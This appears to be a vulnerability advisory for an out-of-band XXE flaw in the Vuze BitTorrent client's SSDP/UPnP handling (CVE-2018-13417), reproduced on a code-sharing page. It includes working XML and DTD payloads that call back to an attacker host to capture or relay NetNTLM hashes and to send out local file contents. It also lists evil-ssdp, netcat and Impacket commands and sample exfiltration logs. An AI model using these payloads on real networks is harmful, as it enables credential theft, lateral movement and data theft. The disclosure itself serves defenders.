扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
Issue: Out-of-Band XXE in Vuze Bittorrent Client's SSDP Processing Reserved CVE: CVE-2018-13417 # Vulnerability Overview The XML parsing engine for Vuze Bittorrent Client's SSDP/UPNP functionality is vulnerable to an XML External Entity Processing (XXE) attack. Unauthenticated attackers on the same LAN can use this vulnerability to: - Access arbitrary files from the filesystem with the same permission as the user account running Vuze. - Initiate SMB connections to capture NetNTLM challenge/response and crack to clear-text password. - Initiate SMB connections to relay NetNTLM challenge/response and achieve Remote Command Execution in Windows domains. Exploitation can be demonstrated using evil-ssdp (https://gitlab.com/initstring/evil-ssdp). # Discovered By Chris Moberly @ The Missing Link Security # Vendor Status Multiple attempts to contact Vuze team resulted in no replies. # Vulnerability Details Attack type: Remote, unauthenticated Impact: Information disclosure up to code execution Affected component: Vuze Bittorrent Client's SSDP discovery / XML parsing Operating Systems affected: Verified Windows 10 (likely all versions) Vuze version affected: Tested on 5.7.6.0 (current as of July 2018). Older versions likely also vulnerable. Attack vector: XXE # Technical Overview Vuze, like many other media servers, will attempt to discover other devices on a local network. The discovery process is handled by Simple Service Discovery Protocol (SSDP), which sends a UDP multicast out to 239.255.255.250 on port 1900. This is the first step in finding and adding Universal Plug and Play (UPNP) devices. We can reply to that UDP multicast directly on the same port that the request initiated from, informing this client that we have a shared device. When we do this, we provide the location of an XML file containing more information about our device. This is called a Device Descriptor. Vuze will automatically access the Device Descriptor over HTTP, parsing the XML content. This is expected behaviour for SSDP/UPNP. By hosting a specially crafted XML file at that location, we can force Vuze to do several things. The POC used to prove this vulnerability (POC 1 below) contained the following XML content: </code><code> <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file://///$smbServer/smb/hash.jpg" > <!ENTITY xxe-url SYSTEM "http://$localIp:$localPort/ssdp/xxe.html" > ]> <hello>&xxe;&xxe-url;</hello> <root> <specVersion> <major>1</major> <minor>0</minor> </specVersion> <device> </code><code> When Vuze parses this, it does two things: 1. Accesses the SMB share running at the $smbServer variable. This allows us to collect or relay the NetNTLM challenge/response. 2. Accesses an HTTP server at the $localIp variable. This is used for verification purposes while testing the vulnerability. The unexpected behaviour here is the ability to provide the <code>ENTITY</code> tags, forcing Vuze to automatically access file paths and HTTP URLs. # POC 1: Capcturing NetNTLM Challenge/Response This is a common attack method inside a Windows domain, where compromising an account can assist with moving laterally through the network. This vulnerability can be easily validated using the [evil-ssdp tool found here](https://gitlab.com/initstring/evil-ssdp). The process is: 1. Execute the evil-ssdp tool as follows from a Linux host: </code><code> essdp.py eth0 -t xxe-smb# instructs tool to use the 'xxe' template for zero-day hunting </code><code> 2. From the same Linux host, either launch a simple netcat listener like this: </code><code> sudo nc -nlvp 445 </code><code> or use Impacket to listen and extract the NetNTLM challenge/response as follows: </code><code> sudo python examples/smbserver.py smb /tmp/smb/ </code><code> 3. From a Windows host on the same network, simply restart Vuze. evil-ssdp will display messages like the following: </code><code> [M-SEARCH] New Host 192.168.1.100, Service Type: urn:schemas-upnp-org:device:InternetGatewayDevice:1 [XML REQUEST]Host: 192.168.1.100, User-Agent: Azureus 5.7.6.0;Windows 10;Java 1.8.0_121 GET /ssdp/device-desc.xml [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /ssdp/xxe.html [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /ssdp/xxe.html </code><code> When that happens, either the netcat listener or the Impacket SMB server will receive the connection. If using Impacket, you will now have the NetNTLM challenge/response of the user running Vuze. This can be cracked to clear-text using tools like Hashcat. Alternatively, you can use Impacket to relay that hash to another machine on the network, achieving remote code execution. # POC 2: Accessing Arbitrary Files If an attacker knows specifically what files they are looking for, this same vulnerability can be used to extract that information. Essentially, an XML entity will be defined as a variable, storing the output of a file on the machine where Vuze is installed. Then, an HTTP request will be sent to the attacker's machine that includes that variable. The attacker will be able to see this file in their HTTP server logs. We need two files hosted on the attacking server to do this. The initial Device Descriptor sent is: </code><code> <!DOCTYPE data[ <!ENTITY % file SYSTEM "file:///C:/users/public/pwned.txt"> <!ENTITY % dtd SYSTEM "http://$localIp:$localPort/ssdp/data.dtd"> %dtd; ]> <data>&send;</data> </code><code> Which triggers another connection request to the following data.dtd file: </code><code> <!ENTITY % all "<!ENTITY send SYSTEM 'http://$localIp:$localPort/?exfiltrated=%file;'>"> %all; </code><code> We can also verify this using the evil-ssdp tool, using the 'xxe-exfil' template. For this POC, only extraction of 1-line files was found to be possible. To reproduce: 1. Create a test file 'C:\Users\Public\pwned.txt' on the Windows hosts where Vuze is installed. Please 1 line of text with no whitespaces inside, like this: </code><code> secretstuff! </code><code> 2. Execute the evil-ssdp tool as follows from a Linux host on the same network: </code><code> essdp.py eth0 -t xxe-exfil# instructs tool to use the 'xxe-exfil' template for zero-day hunting </code><code> 3. Back on the Windows host, simply restart Vuze. evil-ssdp will display messages like the following </code><code> [M-SEARCH] New Host 10.0.200.10, Service Type: urn:schemas-upnp-org:device:InternetGatewayDevice:1 [XML REQUEST]Host: 192.168.1.100, User-Agent: Azureus 5.7.6.0;Windows 10;Java 1.8.0_121 GET /ssdp/device-desc.xml [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /ssdp/data.dtd [XXE VULN!!!!] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /ssdp/data.dtd [EXFILTRATION] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /?exfiltrated=secretstuff! [EXFILTRATION] Host: 192.168.1.100, User-Agent: Java/1.8.0_121 GET /?exfiltrated=secretstuff! </code><code> |
体验盒子
